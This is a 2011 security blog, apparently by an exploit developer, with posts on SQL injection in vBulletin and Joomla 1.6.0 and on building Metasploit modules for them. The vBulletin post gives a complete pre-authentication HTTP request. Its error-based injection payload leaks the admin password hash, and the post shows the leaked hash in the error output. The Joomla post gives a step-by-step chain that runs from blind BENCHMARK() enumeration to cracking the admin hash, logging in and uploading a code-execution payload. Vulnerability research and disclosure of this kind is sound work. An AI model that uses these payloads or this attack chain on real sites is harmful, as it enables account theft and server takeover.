Wednesday, July 20, 2011

vBulletin "Search UI" SQL Injection: Take Two

It looks like someone has found another SQL Injection bug in the vBulletin "Search UI". After taking a quick look @ the bug, I have determined it to be exploitable, pre auth.

The actual SQL Injection lies within the add_advanced_search_filters() function. This is due to vBulletin not sanitizing the "messagegroupid" and "categoryid" arrays before implode()'ing them directly into a SQL query.

Exploiting this issue is fairly straight forward, but is pretty much a blind SQL Injection as far as I can tell in the small amount of time I have looked at it. However, using the methods outlined here, one can easily extract data at the expense of possibly tipping off the database admin. This is because vBulletin displays the verbose SQL query within HTML comments whenever displaying an SQL error screen. (Even for non authenticated users)

1:  POST /search.php?do=process HTTP/1.1  
2:  Host:  
3:  Content-Type: application/x-www-form-urlencoded  
4:  humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*  

The above post query will successfully display the passsword hash for the userid=1 within the comments of the SQL error page used by vBulletin, as seen in the example below.

1:  <!--  
2:  Database error in vBulletin 4.1.4:  
3:  Invalid SQL:  
4:                           SELECT socialgroupcategory.title  
5:                           FROM socialgroupcategory AS socialgroupcategory  
6:                           WHERE socialgroupcategory.socialgroupcategoryid IN (-99) union select password from user where userid=1 and row(1,1)&gt;(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*);  
7:  MySQL Error  : Duplicate entry '4c62730e24e31ab9a0b8229a7ff72836:1' for key 'group_key'  
8:  Error Number : 1062  
9:  Request Date : Wednesday, July 20th 2011 @ 10:24:59 PM  
10:  Error Date  : Wednesday, July 20th 2011 @ 10:24:59 PM  
11:  Script    :  
12:  Referrer   :   
13:  IP Address  :  
14:  Username   : Unregistered  
15:  Classname   : vB_Database  
16:  MySQL Version :   
17:  -->  

And of course if you prefer to exploit this in a more stealthy manner, there is always a blind SQL Injection approach using timed BENCHMARK() queries, etc. that will likely work for you.

Friday, June 17, 2011

Fear the typo!

Being a huge music fan, as well as a big fan of the Bonaroo music festival, I really enjoyed all of the updates posted to the official Bonaroo Facebook page during the festival. Surprisingly enough, accidentally "fat fingering" a single quote whenever attempting to copy and paste a link to one of their recent blog posting presented me with the following error.

As you can see in the above image, I attempted to contact the webmaster about this obviously exploitable SQL Injection bug, but to no avail. I guess the lesson here is that if you are going to write insecure code, at least remember to turn off detailed error reporting in a production environment. D'oh!

Sunday, May 29, 2011

Reliably exploiting vBulletin 4

Last month an SQL Injection vulnerability in the vBulletin search feature was patched. The issue was researched fairly well by j0hnx3r, and his research was made public here.

After reading about this issue, I set out to write a Metasploit module for it, and soon realized that the way of exploiting the issue outlined in j0hnx3r's research could be unreliable under certain circumstances such as:
  •  No groups exist, and the attacker can not access user groups
  • The attacker is unable to get a valid forum account
There are probably other scenarios that make exploiting this in a straight forward manner a bit unreliable, but I decided to focus my attention on creating something more reliable, versus exploring the limitations of a more straight forward approach.

During my research in to this issue, I found a couple of interesting things to help aid an attacker in mounting a successful SQL Injection attack against a vulnerable vBulletin installation.
  • This issue can be exploited pre auth
  • The SQL Injection takes place before the CAPTCHA is handled
  • The SQL Injection takes place before flood controls
As a result this issue can be exploited pre auth by an anonymous user regardless of CAPCTHA or flood settings, making it a pretty darn scary bug if you ask me. In order to exploit this issue I ended up using a blind BENCHMARK() enumeration approach since there are a myriad of issues relating to outputting retrieved data that I did my best to avoid altogether.

vBulletin 4 <= 4.1.2 SQL Injection Exploit (Metasploit)

Thursday, April 28, 2011

Joomla 1.6.0 Analysis and Exploitation

Last month, a critical SQL Injection vulnerability was discovered in Joomla 1.6.0. , and this past weekend I finally got around to taking a closer look at this issue, and working on an exploit. Originally I was going to write an exploit for both the 1.6.0 issue, as well as the 1.5.21 issue, and have the exploit select a target based on the version detected, but the original advisory was erroneous. It seems that the author of the original advisory used burp suite to discover the bug, and did not actually understand what was really happening at all, under the hood.

In the above image, we see two PoC examples given. They DO both trigger an SQL error, but this is simply due to the field(s) being null as the ordering paramaters pass through the Joomla "word" and "cmd" filter types, and are stripped of almost all special characters. (As seen in the example below)

Joomla <= 1.5.21 Vulnerable function
1:  function _buildQuery()  
2:  {  
3:       $filter_order          = $this->getState('filter_order');  
4:       $filter_order_dir      = $this->getState('filter_order_dir');  
5:       $filter_order          = JFilterInput::clean($filter_order, 'cmd');  
6:       $filter_order_dir      = JFilterInput::clean($filter_order_dir, 'word');  
7:       // We need to get a list of all weblinks in the given category  
8:       $query = 'SELECT *' .  
9:            ' FROM #__weblinks' .  
10:            ' WHERE catid = '. (int) $this->_id.  
11:            ' AND published = 1' .  
12:            ' AND archived = 0'.  
13:            ' ORDER BY '. $filter_order .' '. $filter_order_dir .', ordering';  
14:       return $query;  
15:  }  

As a  result this issue is simply not exploitable, so I was only able to create a working exploit for 1.6.0. The reason 1.6.0 is actually exploitable is due to the "string" filter being used in the example code below, which allows us to use certain characters necessary for exploitable SQL Injection.

Joomla 1.6.0 Vulnerable function
1:  /**  
2:   * Build the orderby for the query  
3:   *  
4:   * @return     string     $orderby portion of query  
5:   * @since     1.5  
6:   */  
7:  protected function _buildContentOrderBy()  
8:  {  
9:        $app              = JFactory::getApplication('site');  
10:       $params           = $this->state->params;  
11:       $itemid           = JRequest::getInt('id', 0) . ':' . JRequest::getInt('Itemid', 0);  
12:       $filter_order     = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order', 'filter_order', '', 'string');  
13:       $filter_order_Dir = $app->getUserStateFromRequest('com_content.category.list.' . $itemid . '.filter_order_Dir', 'filter_order_Dir', '', 'cmd');  
14:       $orderby = ' ';  
15:       if ($filter_order && $filter_order_Dir) {  
16:            $orderby .= $filter_order . ' ' . $filter_order_Dir . ', ';  
17:       }  
18:       $articleOrderby   = $params->get('orderby_sec', 'rdate');  
19:       $articleOrderDate = $params->get('order_date');  
20:       $categoryOrderby  = $params->;def('orderby_pri', '');  
21:       $secondary        = ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', ';  
22:       $primary          = ContentHelperQuery::orderbyPrimary($categoryOrderby);  
23:       $orderby .= $primary . ' ' . $secondary . ' a.created ';  
24:       return $orderby;  
25:  }  

In order to exploit this issue I use a sub query to ask boolean style questions. If the answer is true I execute BENCHMARK() and look for a delay, thus confirming the answer to our question. It should be noted that another useful exploitation approach (that is not as reliable in this situation, thus the reason i am using a sub query) when dealing with "ORDER BY" injections, is to use the sort order to determine the answer to your questions.

STEP 01:
Determine if the host is vulnerable by extracting  the version, and performing a simple compare. This step can be skipped if needed, as all the benchmark tests will fail if the host is not vuln.

STEP 02:
Trigger an SQL error in order to confirm that the host is vulnerable, and also extract the database table prefix for reliability purposes. SQL Errors are by default shown to unauthenticated users it seems, which helps make exploitation much more reliable.

STEP 03:
Prepare for BENCHMARK() enumeration by establishing both normal, and delayed request medians.

STEP 04:
Find a valid admin id in the "user_usergroup_map" table, which maps admin users to the group_id 8. Since this SQL Injection is completely blind we need to ask "boolean" questions. As a result we start at 42 (which is hard coded within Joomla as the base uid), and step through 10 at a time until we basically "pass up" a valid id. After the id has been passed, we step back 10 and start incrementing by one until we find the uid. This process repeats with the second record in the table if admin access is unable to be gained with the first uid that is enumerated.

STEP 05:
Extract the admin password hash via single character enumeration.

STEP 06:
Extract the admin password salt via single character enumeration. We use "SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})" here vs "SUBSTRING = FOO" so that we can distinguish between case sensitive characters reliably.

STEP 07:
Cookie based authentication, and password reset functionality seem to be limited to standard, non admin, users. So we attempt to crack the password hash using a wordlist since it seems we can not use the SQL Injection to further escalate privileges, unless the mysql user has file access. (INTO OUTFILE) The encryption format used by Joomla can be represented in the following pseudo code:

md5(PASS + SALT)

STEP 08:
Extract the administrator username via single character enumeration after determining the length of the username.

STEP 09:
Authenticate as an administrator.

STEP 10:
Upload wrapper and execute the payload.

The above list is rather brief, but you can view the exploit source code for further comments, and insight in to exploiting this bug. The following exploit is in ruby, written for the Metasploit Framework.

Joomla 1.6.0 SQL Injection -> PHP Code Execution (Metasploit)